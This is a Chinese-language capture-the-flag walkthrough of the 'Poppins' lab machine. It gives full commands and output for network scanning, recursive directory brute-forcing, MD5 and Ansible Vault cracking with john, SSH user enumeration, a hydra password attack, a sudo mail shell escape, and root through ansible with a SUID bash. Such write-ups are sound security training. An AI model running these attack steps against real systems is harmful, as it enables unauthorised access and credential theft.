一、信息收集

使用 arp-scan 扫描局域网中的主机：

```
┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ sudo arp-scan -l
...
192.168.205.143 08:00:27:77:42:bb       PCS Systemtechnik GmbH
...
```

发现目标主机：`192.168.205.143`

端口扫描

对目标主机进行全端口扫描：

```
┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ nmap -p0-65535 192.168.205.143
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-02 15:20 EDT
Nmap scan report for 192.168.205.143
Host is up (0.000089s latency).
Not shown: 65532 closed tcp ports (reset)
PORT    STATE SERVICE
22/tcp  open  ssh
80/tcp  open  http
110/tcp open  pop3
995/tcp open  pop3s
```

发现四个开放端口：

- **22/tcp**: SSH服务
- **80/tcp**: HTTP服务
- **110/tcp**: POP3服务
- **995/tcp**: POP3S服务（加密的POP3）

二、Web服务探测

访问80端口发现是一个电影介绍页面，包含一些人名信息。

目录枚举

使用 dirsearch 进行目录扫描：

```
┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ dirsearch -u 192.168.205.143
...
[15:23:04] 301 -  314B  - /s  ->  http://192.168.205.143/s/
...
```

发现 `/s` 目录，继续深入探测。

深度目录爆破的思路

这里有个关键的思路转换：当发现只有一个 `/s` 目录时，我想到这可能不是普通的目录结构。结合这是Sublarge出的靶机，我记得之前做过类似的题目，有些靶机会把SSH私钥或重要文件藏在很深的目录路径中。

既然只发现了字母 `s`，那很可能是按字母逐层构建的深层目录。于是我决定用单字母作为字典进行递归爆破：

```
┌──(kali㉿kali)-[/mnt/hgfs/gx/x/tmp]
└─$ printf '%s\n' {a..z} > a.txt
┌──(kali㉿kali)-[/mnt/hgfs/gx/x/tmp]
└─$ printf '%s\n' {A..Z} >> a.txt
```

创建包含所有大小写字母的字典文件，然后使用 feroxbuster 进行深度递归扫描：

```
┌──(kali㉿kali)-[/mnt/hgfs/gx/x/tmp]
└─$ feroxbuster --url http://192.168.205.143 -w a.txt -t 64 --depth 99999
...
301      GET        9l       28w      314c http://192.168.205.143/s =>
http://192.168.205.143/s/
301      GET        9l       28w      316c http://192.168.205.143/s/u =>
http://192.168.205.143/s/u/
301      GET        9l       28w      318c http://192.168.205.143/s/u/p =>
http://192.168.205.143/s/u/p/
...
301      GET        9l       28w      380c
http://192.168.205.143/s/u/p/e/r/c/a/l/i/f/r/a/g/i/l/i/s/t/i/c/e/x/p/i/a/l/i/d/o
/c/i/o/u/s/ =>
...
```

关键洞察：这里设置 `--depth 99999` 是为了让工具无限递归，直到找不到更多目录为止。随着扫描的进行，可以看到路径越来越长，最终揭示了完整的单词：

`s/u/p/e/r/c/a/l/i/f/r/a/g/i/l/i/s/t/i/c/e/x/p/i/a/l/i/d/o/c/i/o/u/s`

这个路径实际上是单词 **"supercalifragilisticexpialidocious"** 的字母分解，这是电影《欢乐满人间》(Mary Poppins)中的经典单词，与靶机名称"Poppins"呼应。

在该超长目录下继续扫描：

```
┌──(kali㉿kali)-[/mnt/hgfs/gx/x/tmp]
└─$ gobuster dir -u
http://192.168.205.143/s/u/p/e/r/c/a/l/i/f/r/a/g/i/l/i/s/t/i/c/e/x/p/i/a/l/i/d/o
/c/i/o/u/s/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-
list-2.3-medium.txt -x php,txt,html,zip,db,bak -t 64
...
/index.html           (Status: 200) [Size: 1531]
/hash.bak             (Status: 200) [Size: 3300]
```

果然发现了关键文件 `hash.bak`。

三、哈希破解

下载并分析 hash.bak 文件：

```
┌──(kali㉿kali)-[/mnt/hgfs/gx/x/tmp]
└─$ curl
http://192.168.205.143/s/u/p/e/r/c/a/l/i/f/r/a/g/i/l/i/s/t/i/c/e/x/p/i/a/l/i/d/o
/c/i/o/u/s/hash.bak
fcb6cc0d2a780ac022cf70ceb0d85f4c
c63c3575b62f4944fba4879c2dd3951b
...
```

文件包含100个MD5哈希值。使用john进行破解：

```
┌──(kali㉿kali)-[/mnt/hgfs/gx/x/tmp]
└─$ john --wordlist=/usr/share/wordlists/rockyou.txt hash --format=Raw-MD5
...
kent12           (?)
amotejoel        (?)
sunjoo           (?)
...
```

提取破解成功的密码：

```
┌──(kali㉿kali)-[/mnt/hgfs/gx/x/tmp]
└─$ john --show hash --format=Raw-MD5 | cut -d: -f2 | sort | uniq > pass
```

四、用户名收集与SSH爆破

用户名枚举

使用 cewl 从主页提取可能的用户名：

```
┌──(kali㉿kali)-[/mnt/hgfs/gx/x/tmp]
└─$ cewl http://192.168.205.143/ | tr 'A-Z' 'a-z' > user
```

通过SSH连接测试，发现系统的行为特点：

- 存在的用户会提示输入密码
- 不存在的用户直接返回 "Permission denied (publickey)"

利用此特点枚举有效用户：

```
┌──(kali㉿kali)-[/mnt/hgfs/gx/x/tmp]
└─$ while read u; do timeout 3 ssh "$u@192.168.205.143" 2>&1 | grep -q
"publickey" || echo "$u"; done < user
jane
bert
```

发现三个有效用户：jane、bert、root

SSH密码爆破

```
┌──(kali㉿kali)-[/mnt/hgfs/gx/x/tmp]
└─$ echo -e "jane\nbert\nroot" > user

┌──(kali㉿kali)-[/mnt/hgfs/gx/x/tmp]
└─$ hydra -L user -P pass ssh://192.168.205.143 -I -u -e nsr -t 64
...
[22][ssh] host: 192.168.205.143   login: bert   password: jmac92777
```

成功获得bert用户的凭据：`bert:jmac92777`

五、初始访问与邮件分析

尝试SSH登录bert用户：

```
┌──(kali㉿kali)-[/mnt/hgfs/gx/x/tmp]
└─$ ssh bert@192.168.205.143
bert@192.168.205.143's password:
...
You have mail.
This account is currently not available.
Connection to 192.168.205.143 closed.
```

虽然SSH会话被立即关闭，但提示显示有邮件。使用POP3协议查看邮件：

```
┌──(kali㉿kali)-[/mnt/hgfs/gx/x/tmp]
└─$ nc 192.168.205.143 110
+OK Dovecot (Debian) ready.
User bert
+OK
Pass jmac92777
+OK Logged in.
STAT
+OK 1 1517
retr 1
+OK 1517 octets
```

邮件内容显示Jane发送给Bert的重要信息：

```
Subject: Urgent: Prod Server Credentials for Ansible Playbook
From: jane@poppins
To: bert@poppins

Hi Bert,

I've just finished the new Ansible playbook for the a-27 software deployment on
our main production server, `web01.poppins.dsz`. It's ready to go.

The playbook contains some sensitive API keys, so I've encrypted the variables
using Ansible Vault. You'll need to use the `ansible-vault decrypt` command to
run it.

Here is the vault string you'll need to paste into the `secrets.yml` file.
```

```
$ANSIBLE_VAULT;1.1;AES256
66626631636362303332633238373338386634373434646532656534323230333938303331663630
32363339346639303432633638313531383236303931343 20a3663663939393736363865383363336
34353536656637313762323832643339633234656635326137633439303730373335386536306436
63353633663766346 30a32656362373762633735343632356564336533306166366613963376137313
3730
```

六、Ansible Vault破解

提取并破解Vault密码

将Vault内容保存到文件并使用john破解：

```
┌──(kali㉿kali)-[/mnt/hgfs/gx/x/tmp]
└─$ ansible2john secrets.yml > hash

┌──(kali㉿kali)-[/mnt/hgfs/gx/x/tmp]
└─$ john --wordlist=/usr/share/wordlists/rockyou.txt hash

...
javiel           (secrets.yml)
```

使用破解的密码解密Vault：

```
┌──(kali㉿kali)-[/mnt/hgfs/gx/x/tmp]
└─$ ansible-vault view secrets.yml

Vault password: javiel
cumibug
```

获得两个关键信息：

- Vault密码：`javiel`
- 解密后的密码：`cumibug`

七、权限提升

获得Jane用户权限

尝试使用解密的Vault密码作为Jane的密码：

```
┌──(kali㉿kali)-[/mnt/hgfs/gx/x/tmp]
└─$ ssh jane@192.168.205.143
jane@192.168.205.143's password: javiel
...
jane@Poppins:~$ id
uid=1001(jane) gid=1001(jane) groups=1001(jane)
```

切换到Michael用户

使用Vault中的密码切换到michael用户：

```
jane@Poppins:/home$ su michael
Password: cumibug
michael@Poppins:/home$ sudo -l
...
User michael may run the following commands on Poppins:
    (winifred) PASSWD: /usr/bin/mail *
```

Michael可以以winifred用户身份运行mail命令。

利用mail命令提升到Winifred

参考GTFObins，mail命令可以通过交互式shell逃逸，但是因为它这个mail命令版本太低（应该是吧）的原因，无法直接使用`--exec`参数，我们只可以给自己发送一个邮件，进到mail交互通过交互式shell逃逸：

```
michael@Poppins:/home$ sudo -u winifred /usr/bin/mail -s "test" winifred <
/dev/null
Null message body; hope that's ok
michael@Poppins:/home$ sudo -u winifred /usr/bin/mail
Mail version 8.1.2 01/15/2001.  Type ? for help.
"/var/mail/winifred": 1 message 1 new
>N  1 winifred@poppins   Tue Sep 02 09:41   18/558   test
& !/bin/bash
```

成功获得winifred用户权限：

```
winifred@Poppins:/home$ sudo -l
...
User winifred may run the following commands on Poppins:
    (ALL) NOPASSWD: /usr/bin/ansible *
```

利用Ansible获得Root权限

Winifred可以无密码运行ansible命令。Ansible的shell模块可以执行任意命令：

```
winifred@Poppins:/home$ sudo /usr/bin/ansible localhost -m shell -a "id"
[WARNING]: No inventory was parsed, only implicit localhost is available
localhost | CHANGED | rc=0 >>
uid=0(root) gid=0(root) groups=0(root)
```

为bash设置SUID位以获得持久的root权限：

```
winifred@Poppins:/home$ sudo /usr/bin/ansible localhost -m shell -a "chmod +s
/bin/bash"
...
winifred@Poppins:/home$ ls -al /bin/bash
-rwsr-sr-x 1 root root 1168776 Apr 18  2019 /bin/bash
winifred@Poppins:/home$ bash -p
bash-5.0# id
uid=1003(winifred) gid=1003(winifred) euid=0(root) egid=0(root)
groups=0(root),1003(winifred)
```

八、获取flag

```
bash-5.0# cat /root/root.txt /var/mail/user.txt
flag{root-bdabe071bed8018ba8e15d795d281843}
flag{user-b1d2367529a9edd2a6f9c95168bce12ei}
```